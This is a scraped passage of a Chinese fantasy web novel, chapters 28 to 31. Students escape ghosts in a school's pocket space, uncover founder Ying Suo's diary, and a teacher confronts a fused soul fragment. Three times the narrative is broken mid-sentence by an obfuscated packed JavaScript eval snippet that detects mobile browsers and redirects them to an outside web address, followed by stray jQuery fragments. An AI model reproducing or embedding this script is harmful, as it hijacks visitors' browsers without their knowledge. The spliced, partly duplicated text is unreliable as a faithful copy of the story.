人鱼本就擅长制造幻像，双胞胎选修抢的也是幻术课。 宿谬既然把双胞胎跟纷赫琳带了过来，那么大概率会这么做，事实上那渊也确实收到了来自宿谬的提示，她只需要帮助那渊进行配合就好。 跟着逃离的纷赫琳：“说实话，稍微有点……那个什么了。” 骑着扫帚紧随其后的双胞胎—— “懂你意思。” “和讨厌的人这么默契。” “有点恶心了。” “不对。”兄弟俩异口同声：“是超级恶心。” 他们根本不想和那渊表现出这样完美的配合，但又不能否认，一切顺利到像在做梦。 “他再追上来怎么办？”纷赫琳问。 白佳果骑在黑龙背上，她的听力不足以支持她听见他们的对话，但白佳果并不担心这个问题，因为图书馆那边有老师。 图书馆，发现自己被骗的晨礼服没有表现出任何情绪，仅仅只是动身要追，结果被突然竖起的结界拦住了去路。 满身是血的霍伽出现在他身后，还是那副半死不活的怠惰模样，慢吞吞拿出一支新的烟，却在自己身上摸不到打火机，最后只能手动打个响指，点燃嘴里叼着的烟。 没有地狱之火打火机，二手烟不提，还会有三手烟附着在衣物上。 “真是……”他开口，老烟枪的沙哑腔调，烟雾模糊他深紫色的横瞳：“这下又要被管理员老太太骂了。” # 确定晨礼服没有追上来，距离足够远，白佳果拍了拍身下的龙背，让那渊停下。 巨龙落地，白佳果翻了个身，不等别人来帮她，以一个非常娴熟的姿势从崎岖的龙背上滑下来。 弥悬收起骨翼，上前来问白佳果有没有受伤或者哪里不舒服，白佳果摇了摇头，表情如常，实际心里疯狂吐槽：有！！骑龙背真的好磨大腿肉啊！！ 礼尚往来，白佳果也关心了一下对方：“你呢？” 弥悬笑笑：“我没事，虽然遇到了幽魂，但很快就解决了。” 白佳果有点在意：“你没戴眼镜，是进来之后弄丢了吗？不戴眼镜会不会有什么影响？” 魔法世界不存在自然近视，会戴眼镜大多是眼睛有严重到连魔法药剂都解决不了的问题。 比如血族就很喜欢在白天戴眼镜，避免让眼睛被太阳光照射。 弥悬点头：“嗯，不碍事，本来带眼镜也不是因为视力问题。” 白佳果：“哦。” 确实还有一部分人戴眼镜，纯为了装饰。 另一边，那渊变回人形，看到白佳果对弥悬和对他截然不同的态度，在对比中发现，原来白佳果不是对所有人都那么冷淡疏离。 他心中升起嫉妒，随即想到白佳果刚刚摸他的脸，还在他耳朵边说话，又自己哄好自己，振作起来，往白佳果跟前凑。 宿谬的视线在弥悬身上停留，弥悬注意到，转头看向他，他便露出笑眯眯的表情：“弥悬学长。” 弥悬：“你好。” 宿谬转向白佳果：“那只幽魂为什么会追着你不放？” 白佳果摇头：“应该不是追着我。” 她进空间大半天，要追早该追了，而且上辈子她跟纷赫琳闹出动静，也没被这只幽魂追过。 她拿起手中一直拽着的布人偶，晃了晃：“我觉得被追的是它。” “啊啊啊啊晕！头晕！别晃了！！”布人偶用自己做工粗糙的双臂抱住白佳果的手指。 它体型小，声音也小，好在在场各位听力都不错，不然怕是得以白佳果为中心挤成一圈，才能听清它在说什么。 白佳果问人偶：“刚刚那个幽魂追的是你吧？” 人偶甩了甩自己的脑袋，差点把作为眼睛的黑曜石甩掉，它按住自己的眼睛，说：“我不知道。” 白佳果又问：“你是从哪冒出来的？” 人偶摇头：“我不知道。” 白佳果：“你是什么东西？” 人偶继续摇头：“我不知道。” 白佳果：“你什么都不知道？” 人偶想了想，叉腰：“嗯！我还什么都不知道呢！” 白佳果：“好骄傲的语气。” 人偶害羞地摸了摸后脑勺：“嘿嘿。” 白佳果开始怀疑自己是不是猜错了。 双胞胎对白佳果说：“果然刚刚那只幽魂在追的是你吧。” 纷赫琳：“我也觉得，校长跟我们说，这个空间由你父母继承，你是他们的女儿，所以那只幽魂很可能是冲着你来的。” “还有。”纷赫琳的语气突然严肃起来。 众人都认真地听，就见纷赫琳抓起白佳果另一只手，说：“我把刘海剪了，所以我们现在可以做朋友了，对吗？” 白佳果以外的其他人：“……” 白佳果愣愣地望进纷赫琳的眼睛，其实被那渊抱着逃命的时候她就注意到了。 纷赫琳剪掉刘海，露出了眼睛。 上辈子她仔细看过这双眼睛，当时她让纷赫琳试试她的洗面奶，说味道特别好闻，洗完特别舒服，纷赫琳把刘海夹起来，洗完将水擦干，被白佳果捧着脸一顿看。 “你的眼睛好漂亮。”当时白佳果还不知道这双眼睛给纷赫琳带来过怎样的阴影，称赞的语气近乎痴迷。 因为真的很美，斑斓的紫色简直像是一副绚丽的水粉画，搭配上非常规的横瞳，简直漂亮到白佳果的心坎上。 纷赫琳后来也说，虽然不习惯露出眼睛，但被白佳果夸眼睛漂亮的时候，第一次庆幸自己拥有这么一双眼睛。 白佳果喉咙发紧，过往的记忆在她的脑子里打架，好的坏的，纠结成一团乱麻。 其实按照她的猜测，如果她灵魂里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725024|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “墙”真跟纷赫琳有关，那么上辈子那些令她难堪的话语，多半是为了某些原因故意说给她听的，目的是为了让她远离他们。 然而这个猜测说服不了白佳果。 因为她跟纷赫琳关系好到会一块看电影看小说，一块追剧，一块吐槽剧情。 那些烂俗的“为了你好所以故意伤害你”的情节，曾经被她们骂过无数次，她们还曾在夜话中讨论，同样的情况下如果是自己，会选择用怎样的方式来保护对自己重要的人。 最后讨论出来的最优解是“坦白”，坦白才是解决一切的办法，有什么问题一起面对，就算决定一拍两散也必须是在双方都了解情况的前提下，而不是打着“为你好”的旗号进行隐瞒，伤害别人的同时又自我感动。 所以白佳果不相信，纷赫琳会去做自己曾经痛斥过的行为。 可是……这样的她，还有那渊他们，真的会把她当成用完就扔的赚学分工具吗。 白佳果的思绪在这一刻出现了混乱，头部突然刺痛，有奇怪的画面从她脑海里一闪而过，是表情陌生的双胞胎，还有因为使用天赋能力，眼底泛起紫光的纷赫琳。 【你……对……做了什么！】 扭曲的幻听在耳畔掠过，白佳果猛然回神，发现刚刚想起的，是根本不存在于过往记忆中的画面。 “现在不是说这个的时候！”那渊不想让纷赫琳如愿，不想让双胞胎借着纷赫琳靠近白佳果，赶忙出声打断。 白佳果的混乱思绪也因此中断，她闭了闭眼，睁开，看纷赫琳跟那渊吵起来，双胞胎下场搅混水，宿谬在一边看似劝架实则拱火，弥悬无法插手默默旁观。 她垂眸望向伸长了脖子看热闹的人偶，问：“有什么，是你知道的吗？” “啊？”人偶回头，那渊他们也停止了争吵。 白佳果重复，问人偶：“有什么，是你知道的吗？” 人偶顺着白佳果的手指坐下，晃了晃双脚，努力回想：“嗯……我知道我睡着之前，被塞进了一个药瓶子里。” 药瓶子？装速眠剂的药瓶子？她从五楼办公室捡到的速眠剂里，确实有一瓶速眠剂手感要重一点。 所以是因为她想救同学打碎了速眠剂，意外将它放了出来？ “啊！还有！”人偶又爬起来，“我知道日记在哪里！” 白佳果：“日记？什么日记？” 人偶理直气壮：“我不知道！” 白佳果：“那你还记得，你是被谁放到药瓶子里的吗？” 人偶：“我不知道！” 又陷入了“不知道”的循环，白佳果叹气：“你干脆叫‘不知道’好了。” 人偶点头：“那我就叫不知道啦！” 人在无语的时候真的会笑，白佳果笑了一声，让人偶带她去找日记，人偶小手臂一抬，指了个方向，说能感应到日记在那边。 行，走吧。 只是白佳果怎么过去又成了问题。 走过去？太慢了。 那渊想像刚才那样抱白佳果飞行，遭到众人一致反对。 纷赫琳：“我来抱吧！” 她连双胞胎都能背得动，更何况白佳果。 感觉自己也能带一带白佳果的少络望：“骑扫帚更方便吧。” 同样是骑扫帚的少络听：“就像骑机车带人那样。” 纷赫琳从储物口袋里掏出一把非常酷炫的朋克风机械扫帚：“行啊。” 双胞胎：“啧。” 最后敲定由纷赫琳骑扫帚带白佳果，临出发前，弥悬叫住白佳果，拿出一枚戒指，正是白佳果在图书馆丢下的那枚镶嵌橄榄绿色魔法晶石的戒指。 其实在场除了白佳果，其他人都感应到了戒指的存在，但谁都没说，没想到弥悬会在这个时候突然提及。 白佳果：“怎么在你这？” 弥悬：“我去图书馆找你，感应到戒指的时候还以为是你，没想到是一只幽魂。” 他弄死幽魂，拿回了戒指。 他的眼镜便是在那个时候弄坏的，不过他认为没必要提这个。 “谢谢。”白佳果伸手去拿，因为另一只手上还坐着人偶，不太方便，弥悬便替她将戒指戴回右手的中指上。 这是白佳果平时戴戒指的手指，在她所在的世界，右手中指戴戒指，寓意招财。 但在魔法世界，往右手中指上戴戒指，意味着接受对方的爱慕，处于热恋中。 虽然知道目前的情况不是那么一回事，而且戒指本身是白佳果的，是相关机构派发的、证明白佳果无法使用魔法的“标识”，弥悬只是把戒指还给她。 但…… 宿谬收起了虚伪的笑眯眯的表情，移回目光，继续看手中的地图，确定人偶所指的方向上有哪些校内建筑。 那渊比较直白，看着弥悬的目光染上毫不掩饰的敌意，可他什么都没做，他不会蠢到直接闹起来，让白佳果意识到方才的举动会造成什么样的误会。 白佳果没意识到，那就是什么都没发生。 双胞胎也看向弥悬，漠然的神态在弥悬转头的瞬间又被微笑取代。 纷赫琳则干脆把白佳果拉到自己身边，问她要坐扫帚前面还是要坐后面，用行动打断刚刚戴戒指营造出来的暧昧氛围。 29.第二十九章 白佳果喜欢坐扫帚后面。 扫帚在空中疾速飞行，白佳果手里抓着人偶，双臂环着纷赫琳的腰，避免被甩飞下去。 很快他们来到了人偶所说的，放日记的地方——校史馆。 这时距离雕像恢复，还剩下十几分钟，太阳快要完全落山，天色越来越暗。 他们打开校史馆的灯，进入前厅，铭刻着校训的灯墙前有学校建筑模型的立体投影，投影台旁有时间旋钮，可以调整年份，看到学校在不同年代的模样。 校史馆是纵向的设计，越往里走年代越久远，就像个立体的时间轴，中间历经许多历史变迁，走到尽头，无疑便是创校之初，那里复刻了创校人——同时也是第一任校长应索的办公室，据说摆放的办公桌椅都是应索真实使用过的。 人偶扑腾着翅膀飞进一比一复原的办公室，说日记就在那张应索使用过的办公桌抽屉里。 于是他们越过禁止入内的牌子和早已经倒下的伸缩隔离带，拉开了办公桌的抽屉—— 里面什么都没有。 每一个抽屉，都是空的。 白佳果问落在办公桌上的人偶：“你有什么想说的吗？” 人偶趴在桌边往下看，比任何人都纳闷：“怎么会没有呢？不可能啊，明明在这里的，怎么会没有呢？” “你该不会。”双胞胎提出质疑：“是在骗我们吧？” 本来他们就不相信，那只穿着晨礼服的幽魂追着白佳果不放是因为这只破破烂烂的布人偶，之所以愿意听人偶的话来这边，不过是因为白佳果想来。 人偶生气：“我没有撒谎！我真的感应到日记在这里！就在这里！” 宿谬看了看办公室里其他地方：“可这里没有日记。” 弥悬蹲下来，平视人偶，语气温和：“你真的感应到了吗？我是说，你能切切实实感应到，日记就在这个地方，就在这张桌子里？” 人偶：“当然！” 弥悬：“具体在哪个抽屉，你能感应到吗？” 人偶拍了拍自己脚下的位置：“就在这个抽屉！我感应到了！” 人偶说的抽屉刚刚打开过，弥悬再一次打开，里面依旧空空荡荡：“可这里面什么都没有” 人偶的气势突然弱下来：“那我就不知道了。” 明明说起别的事情，它能理直气壮说自己不知道，涉及他口中的日记，他却会因为找不到而心虚内疚，甚至难过：“拿不到日记，这该怎么办啊。” 白佳果：“你知道日记里写了什么吗？” 人偶摇头：“不知道。” 意料之中的回答。 这个给自己取名为“不知道”的人偶，什么都不知道。 他们又找了一遍，始终一无所获。 看看时间，雕像就要恢复，他们决定回图书馆。 人偶垂头丧气地坐在白佳果肩头，路过校史馆前厅，他们说起应索办公室的装潢，因为年代久远，风格与现在的学校装修完全不一样。 “隔了一千多年，当然不一样，那会儿学校也没现在这么大。”正好学校模型的立体投影就在前厅，喜欢泡图书馆的宿谬看过那本厚如砖头的校史书，便走到投影台前，转动时间旋钮。 他一开始转错了方向，转到最近的时间，居然是今年，说明异空间始终保持着和外界统一的更迭。 宿谬换了个方向，把旋钮转到尽头，来到最开始刚建校的年份。那会儿学校占地面积不大，宿谬隔着玻璃点了点最大的主楼，投影放大到局部，随着他的调整能清楚地看到建筑内的教室，桌椅讲台的模型投影纤毫毕现，是和现在全然不同的装修风格。 白佳果才知道学校模型的立体投影能这么玩，她想到什么，鬼使神差地问：“校长办公室在哪？” 宿谬也不确定，来回挪了好几遍，才在主楼的五楼，找到校长办公室的位置。 模型放大，和他们刚刚在校史馆尽头看到的那间办公室几乎一模一样。 投影没有实体，还隔着玻璃，白佳果仔细看了一会儿，没发现什么异常，觉得应该是自己多想了，正要和其他人一块离开，就在这时，投影中出现了一只做工粗糙的布人偶。 白佳果肩膀上的布人偶兴奋地大叫起来：“是我诶！” 投影中的布人偶拉开了办公桌的抽屉，从里面拿出一本日记，放到桌上。 所有人陷入了沉默，唯独人偶高兴地大叫起来：“日记！找到了！！” 双胞胎：“那只是投影。” 人偶：“嘎？” “不过。”白佳果回头望向校史馆里面：“我们可以回去看看。” 众人折返，发现走时已经关上的抽屉被打开，桌面躺着一本日记。 “很巧妙的空间谜题。”弥悬说。 那渊不解：“为什么要用这么复杂的手法去藏一本日记？” 纷赫琳凑到拿起日记本的白佳果身后，双手搭在她肩上：“日记里到底写了什么？” 白佳果翻开日记。 日记扉页写着一行字：【如果可以，请从我夹了书签的那两页开始看起。】 白佳果翻到第一张书签所在的位置，日期标注是三十年前。 【我知道这一天总会到来，可当我亲眼看着幽魂从我身上分裂出去，我还是感到悲伤。】 【关于我的身份，日记开头就已经说过了，但我想我应该再说一次，在这个值得纪念的时刻——我是应索，但不是完全的应索，我是应索死前留在这个空间的灵魂碎片，与异空间绑定，以确保异空间能稳定运行，直到我替这个空间找到新的主人。】 【可我太挑剔了，我找不到合适的继承者，终于在这一天，我亲眼看着幽魂从我身上分裂出去，这个异空间将会因为没有主人而失去控制，最后湮灭】 【我想了想，决定接受这样的结局。】 第二天的日记。 【真迅速，幽魂才出现一天，现任校长就决定不再让学生进入异空间，避免意外发生。】 【完全没人和我商量，好吧，没人知道我的存在，我自找的，谁让我就喜欢偷偷观察，看他们中有没有适合的继承者呢。】 【无论怎样，希望我和空间的消亡不会给任何人带来伤害。】 之后就是关于异空间没有学生后日子太寂寞的抱怨，没其他有用的信息。 于是白佳果又翻到第二张书签所在的位置，是二十八年前。 【幽魂越来越多，我能感觉到自己越来越虚弱。好在，即便没有学生，我也不会再感到无聊。它们很可爱，对，我是说幽魂，它们带着“狂笑怪盗”的面具，现在一定没人知道这个，毕竟那是一千多年前流行的作品，但那也是我的童年。】 【拜托了，在我活着的时代，没有哪个孩子会不喜欢这个。】 【不过有件事我很担心：最近空间似乎混进来了奇怪的东西。】 【更糟糕的是，我目前的能力无法支持我感知整个异空间，也没办法联络异空间外的现任校长。】 【希望只是我多心了。】 日记不是每天都会写，下一篇日记是三天后，落笔很重，能看出书写者情绪很不好。 【我有了点头绪，还在确认中，目前唯一能知道的，是那群无耻的入侵者试图把自己跟幽魂融合。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736946|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【被融合的幽魂会穿上黑袍以外的衣服，只要杀了它们，被融合的幽魂就能恢复原样。】 【问题不大，我会把它们杀干净。】 再下一篇，看日期过去了一周。 【问题大了，为什么神族的残片会出现在我的空间里？】 【它们是神族的灵魂碎末和神族意识的结合体，它们不仅试图融合幽魂，还试图融合我。我得做好准备，就算把我的空间随便交给谁来继承也行，决不能让这群神族借用这个空间死灰复燃。】 【我决定，下一个进入异空间，并攻击神族残片的人，将成为这里的新主人，他们有权毁掉这里的一切，即便那时的我已经被神族融合。】 这就解释了，为什么白佳果的父母会在二十几年前进入异空间时，莫名其妙成为异空间的继承者。 因为挑剔的应索已经不在乎继承者是谁了，他只是需要有人来继承异空间，所以只要进入空间并且对融合了神族残片的幽魂动手，就能继承空间。 可惜的是，白佳果的父母虽然继承了空间，但他们好像不知道异空间里发生了什么，也就没有像应索期待的那样毁掉这个异空间，避免这里成为神族复生的温床。 后面日记还写了很多，总结一下就是异空间里融合了神族残片的幽魂越来越多，应索在长期的拉锯中险些中招。 另外他发现，这些神族残片是被人召唤进来的，召唤者看准了异空间处于无主且濒临失控的状态，从外面撕开口子，弄进了这些神族的残片。 召唤者没有攻击过融合了神族残片的幽魂——这不奇怪，想要召唤神明重新降临人间的疯狂信徒，怎么敢对自己的神明动手。 所以那个召唤者或许在应索没发现的时候进入过空间，但却始终没能成为这里的主人。 身处孤岛急需帮助的应索做了许多尝试，他想要联系外面的世界，可他无法离开异空间，他从雕像那扔出去许多物品和求救信，又从自己的灵魂中分出小块碎片，这些小碎片附着在物品上也能出去，可惜仍旧没有任何回应，他连碎片出去后遭遇了什么都无法确定。 日记的最后，没有等到继承者也没有等来帮助的应索预感自己快撑不下去了，他打算把日记藏起来，以免让召唤神族残片的信徒发现，又从自己的灵魂中分出小块碎片，塞进了他闲暇时自己做的，手工非常粗糙的布人偶里。 已死之人的灵魂碎片的灵魂碎片。 派不上什么大用场，仅仅能感应日记所在，让未来可能踏入这个空间的人知道，这里曾经发生了什么。 应索担心神族残片与他融合，会找到人偶的位置，便将人偶放进速眠剂，只要人偶不醒过来，不与他进行感知链接，他就感应不到人偶的存在。 他把装有人偶的速眠剂放到图书馆五楼的办公室，选择图书馆是因为图书馆离雕像最近，放在五楼是因为曾经的校长办公室也在五楼，况且那间办公室里有同样的药剂瓶子，足够隐蔽。 确实很隐蔽，白佳果想，日记里说把药瓶放在了架子上，但她是在散落一地的药瓶里拿到速眠剂的，说明有人去过那间办公室，却没有发现瓶子里的人偶。 白佳果的父母没有发现，几天前误入异空间的那渊他们没有发现，上辈子的白佳果也没有发现，同样的，召唤了神族残片的信徒，以及那些融合了神族残片的幽魂，都没有发现。 直到这辈子，失去同伴保护，独自一人的白佳果来到了这里，她需要一切目之所及能够为自己提供帮助的东西，于是她为自保拿走了地上的魔法药剂，又为了救进入异空间找她的同学而开枪，打碎了药瓶，放出人偶，最终找到了这本日记。 30.第三十章（一更） “神族残片？” 异空间外，实践课结束，师生们合力用溯回纱复原被损坏的建筑和校内设施。 斯笛墨在食堂三楼的卡座里用电脑远程参与了一天的学术交流会，结束后备了一下明天的课，这会儿正收拾东西准备回办公楼，突然收到来自监控室那边的电话，跟他说了异空间里的情况。 他是最早知晓异空间存在的人，应索本人亲口告诉他的，但他不感兴趣，所以从未踏足过异空间。 直到三十年前，异空间出现奇怪的人形生物，校长把他叫去过一次，他很快便确定那些生物是“幽魂”，幽魂的形态因空间创造者而异，虽然不知道应索到底什么恶趣味，要让自己的幽魂都戴上那样诡异的面具，但结果不会改变，这个没有主人的异空间即将走向消亡。 他给应索留下的这片花园判了死刑，校长因此禁止学生进入异空间，并委托他抹掉了雕像上的谜题。 此后他听说过有学生继承了异空间，但他没怎么关注，不曾想又一次听闻异空间的消息，会跟神族扯上关系。 “我马上过去。”他说。 # 异空间内，日记在充满好奇的众人手中轮转一圈，又回到白佳果这，白佳果通过耳麦问杉老师图书馆那边的情况。 杉老师操控飞行摄像头，远远停在能看到晨礼服和霍伽的位置——之前为了躲避晨礼服，那渊带着白佳果飞太快，杉老师没专门负责过摄像头这一块，所以跟丢了，索性留下确定霍伽这边的情况。 “不是很好，”衫老师说。 晨礼服的实力不知道为什么越来越强，就霍迦能拖住它，也仅仅只能拖住它。 杉老师：“雕像恢复了，剩下的交给学校，你们都撤出来，快快快！” 白佳果：“好。” 白佳果抓起布人偶，跟其他人转达了杉老师的话。 一行人往外跑，还没到门口，便齐刷刷停下脚步。 ——多到吓人的幽魂不知道什么时候悄无声息地涌入了校史馆，乌压压一片，迎面走来。 “什么情况？”那渊第一反应就是站到所有人前面，白佳果则被他们不约而同地往身后推。 从第一道攻击魔法开始，场面变得异常焦灼，他们试图清除挡路的幽魂，可幽魂数量实在太多，那渊尝试变回龙族形态，校史馆内空间小也没关系，大不了撑破建筑，他们还能用飞的离开这里。 但是不行，他变不回去。 宿谬一击打偏，落在柱子上的魔法被无声吸收，没有造成任何伤害：“校史馆内放着这么多珍贵文物，肯定有对应的保护措施和禁制。” 不然应索也不会选择把日记放在这里，整个学校恐怕没有比这里更安全、更加适合设置空间谜题的地方了。 弥悬跟五人组都很厉害，无论是在同年级的学生里，还是放眼全校，他们在武力这一块皆是佼佼者。但幽魂太多太多，多到仿佛源源不断倾巢而出的蚂蚁，且它们还不是蚂蚁，其中一部分衣着考究，一看就是融合了神族残片的幽魂，实力不容小觑。 一群人且战且退，白佳果看了看校史馆目测六米左右的挑高，问：“能从上面走吗？” 弥悬：“上面没有阻挡，飞起来恐怕会受到比现在更多的攻击，我们的防御能不能撑到门口是个问题。” 白佳果：“用之前的办法呢？” 白佳果说的是幻术，怕幽魂会听懂，她故意含糊了词句 好在大家都听明白了白佳果的意思。 用幻术蒙蔽它们的双眼，从上面飞出去，加上纷赫琳的感知扰乱效果会更好，就像他们之前对晨礼服做的那样。 可以试试。 双胞胎留下幻术的虚影，纷赫琳努力稳定自己的能力，他们带上白佳果，贴着天花板从幽魂头顶飞出去。 这个办法效果不错，但幻术的使用范围有限制，快到门口的时候，原地留下的虚影消散。 双胞胎用只有他们能听见的声音说：“没事，它们看不见我们。” 贴身的幻术还在生效。 偏偏这个时候，纷赫琳的能力开始掉链子。 纷赫琳自己也很无奈：“我尽力了。” 话落，底下本该看不见他们的幽魂突然抬头，诡异的裂嘴笑面具齐刷刷转向他们，简直比恐怖片还惊悚。 成片的攻击紧随其后，多层防御结界被打碎的声音噼里啪啦地响起，好在因为拥挤让一部分幽魂出现踩踏，所以第二波攻击来的稍晚一些，足够他们降低高度从门口的幽魂堆里撞出去。 骑在纷赫琳扫帚后面的白佳果被离最近的宿谬一把捞走，以至于摔落地面时不仅有被撞翻的幽魂垫在底下，还多了个名为宿谬的肉垫子。 “走！”宿谬没有松开白佳果，而是默契地抓住了那渊伸来的手，猛然展开的巨大龙翼掀起气流，白佳果和宿谬坐在巨龙的爪子上远离地面。 动作慢一步的弥悬跟在他们后头，和扫帚一起摔进幽魂堆里的纷赫琳跟双胞胎则骂骂咧咧，纷赫琳张开骨翼飞离地面，双胞胎迅速召回摔飞出去的扫帚，抓住后让扫帚吊着往上飞，才没让之后涌上来的幽魂拽住他们。 等升到幽魂攻击不到的高度，他们才爬回到扫帚上坐着。 虽然狼狈，但无论怎样，他们成功逃离了校史馆。 “怎么会有这么多幽魂？”双胞胎问。 该不会异空间里的幽魂都在这了吧。 白佳果低头看了看自己手中应索留下的日记和人偶，说不好哪个才是引来这么多幽魂的罪魁祸首。 随着他们的离开，幽魂开始往校史馆外退，但因为门外有倒下的幽魂，加上门就这么大，想要出来的幽魂挤做一堆，全都堵在了门口。 几分钟前众人还抱怨校史馆的防御和禁制太多，让那渊没办法变回龙的形态，也让他们无法从内部破坏建筑，只能从门口逃。这下众人又开始庆幸，还好校史馆不易被破坏，能将大部分幽魂困在里面。 “回去吧。”白佳果说。 众人正要动身，忽然身后传来一阵空灵的琴声。 多到数不清的幽魂在那一瞬间停下动作，像是被人用了定身咒。 众人循着声音转过身——那渊转身的时候龙翼差点把边上的弥悬和双胞胎扇飞——看见不远处的空中，金发天族坐在光线凝聚的椅子上，身前是一台同样用金色流光构成的竖琴。 琴声持续着，很快，停止动作的幽魂如同多米诺骨牌一般，接连倒下。 斯笛墨仅仅只是弹奏一曲，差点把他们困死的幽魂便全军覆没。 这就是，从神明时代走过来的天族。 # 结束弹奏，斯笛墨用手掌触碰琴弦消除余音，起身，竖琴和椅子消散，他来到白佳果面前，向白佳果讨要应索的日记和人偶。 白佳果求之不得，把宛如烫手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803127|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山芋的日记跟人偶交了出去。 “其他学生已经离开异空间，你们也走，别留在这里碍事。”斯笛墨一边翻开日记，一边对他们说。 如果没有神族残片，这里确实很适合拿来给霍伽上体育课，可惜没有如果，这次事件中，因为判断错误让学生赶来支援的霍迦少不了被追责，但在那之前，得先让这次事件有个结果。 就在白佳果等人准备动身前往图书馆时，校史馆方向蓦然传来令人毛骨悚然的压迫感。 回过头，晨礼服就站在校史馆上空，和之前不一样，晨礼服头上的大礼帽不见了，束在后颈的深灰色长发不再齐整，落了几缕在面具旁，笔挺的戗驳领礼服也破破烂烂，沾满灰烬，还有灼烧过的痕迹。 他的右边肩膀被整个削掉，显然想要摆脱霍迦的牵制，并不是什么轻松的事情。 他脚下是倒了一地的幽魂，透明气泡一样的灵体不停从幽魂身上脱离，融入到它的身体，在这个过程中，他的肩膀连带着手臂重新长出来，身上的衣服也逐渐恢复原本的模样。 “这下糟了。”比晨礼服还狼狈的霍迦赶来，在斯笛墨身边停下 因为魔族过于逆天的超速再生体质，他身上的伤也在以肉眼可见的速度愈合。 斯笛墨把视线从晨礼服身上收回，快速翻阅日记后半段有关神族残片的内容，同时对霍迦道：“说明情况。” 霍伽曾是斯笛墨的学生，曾经因为性格太张狂被斯笛墨教训过，所以并不认为斯笛墨的态度有什么问题，回答的语调虽然还是老样子懒懒散散拖着调子，但却用上了敬语：“幽魂死后会到他身上，幽魂死得越多，他的实力越强，碰巧，您刚把幽魂都杀了。” 斯笛墨的竖琴声传遍了整个异空间，就算有幽魂没来得及听从晨礼服的指令到校史馆抢人偶，估计也死透了。 另外。 “您能看出他是什么吗？”霍迦只能确定晨礼服不是幽魂。 斯笛墨：“他是应索留下的灵魂碎片。” 准确地说，是神族残片和应索的灵魂碎片的融合体。 日记里说过，幽魂是从应索身上分离出去的，他们形成的同时，削弱了应索本身的实力和对空间的掌控。 空间无主的情况下，杀掉被神族残片融合的幽魂，神族残片会彻底消散，幽魂则会恢复原样。 问题是现在的空间已经有了新的主人，无论是否融合了神族残片，被杀的幽魂都不会再出现，而是回到应索身上。 “应索？那就难怪了”霍迦还以为自己当太久体育老师，实力严重退步，原来是敌人太强大。 霍迦当即就要动手，免得再拖下去，应索把幽魂吸收完，实力回到巅峰状态。 斯笛墨合上日记，拦下他：“未必是坏事。” 如他预料的那样，随着越来越多的透明气泡融入身体，原本毫无情绪，宛如傀儡一般没有一丝一毫多余动作的晨礼服忽然抬起手，摸到脸上的面具，像是在疑惑，自己脸上为什么戴着东西。 即便是灵魂碎片，那也是应索的灵魂碎片，如果不是实力被削弱，他不会这么容易被神族的残片融合，现在实力逐渐恢复，神族残片未必还能控制他。 斯笛墨转向仍在原地白佳果他们：“还不走？要我送你们出去吗？” 因为有了斯笛墨而不慌不忙，且无比好奇想要看后续的白佳果等人：“……” 撤了撤了。 31.第三十一章（二更） 学生们走后，斯笛墨再一次翻开日记，这次他从头开始看。 霍伽在一旁，随时关注着正在吸收幽魂的晨礼服的情况。 他随身带的烟抽完了，无聊地抓了抓头发：“多嘴问一句，您手上拿着的人偶是？” 从头到尾只专注日记的斯笛墨刚想回答，突然顿住。 ——人偶一动不动地耷拉着手脚，里面空空荡荡。 “居然跑了。”斯笛墨呢喃。 霍伽：“什么跑了？” 斯笛墨：“人偶里塞了应索灵魂碎片的灵魂碎片，不过它跑了。” “灵魂碎片的灵魂碎片？那不就是个灵魂渣子吗？能有什么用？”霍伽说。 “请不要……”突然一道陌生的声音插入对话，霍伽惊得朝声音来源挥出一击，对方没有硬挡，而是撕开一条空间缝隙，把攻击转移到了三十米外。 “请不要说我的灵魂碎片的坏话。”陌生的声音将没讲完的话补上。 原本还在校史馆上空的晨礼服出现在他们面前，虽然还带着面具，但他会说话了，给人的感觉和之前截然不同。 他是应索死前留下的灵魂碎片，那么他也可以被称为应索 “恢复了？”斯笛墨问他。 最后一点幽魂吸收殆尽，应索敲了敲自己脸上的面具：“显然，还没有。” “这个面具不是你的恶趣味吗？”斯笛墨说。 应索无奈科普：“你看了日记就该明白，面具出自《狂笑怪盗》这部作品，请不要把别人的童年称作恶趣味。” 他又说：“神族的残片太细碎了，恰好我也不完整，与我融合没办法使它们成为健全的个体，所以即便它们会思考又很狡猾，但却不能说话，也无法离开这个空间，最重要的是，它的思考方式比曾经的神族还要有病，它看幽魂戴面具，它也戴上了面具，并认为这就该是它的模样。” “明白了。”斯笛墨从身侧展开的小魔法阵中抽出一把长剑：“无论如何你身上的神族残片是个隐患，我得清除它。” 应索歪了歪头：“你说得对，但我想应该有更好的办法。” 斯笛墨：“比如？” 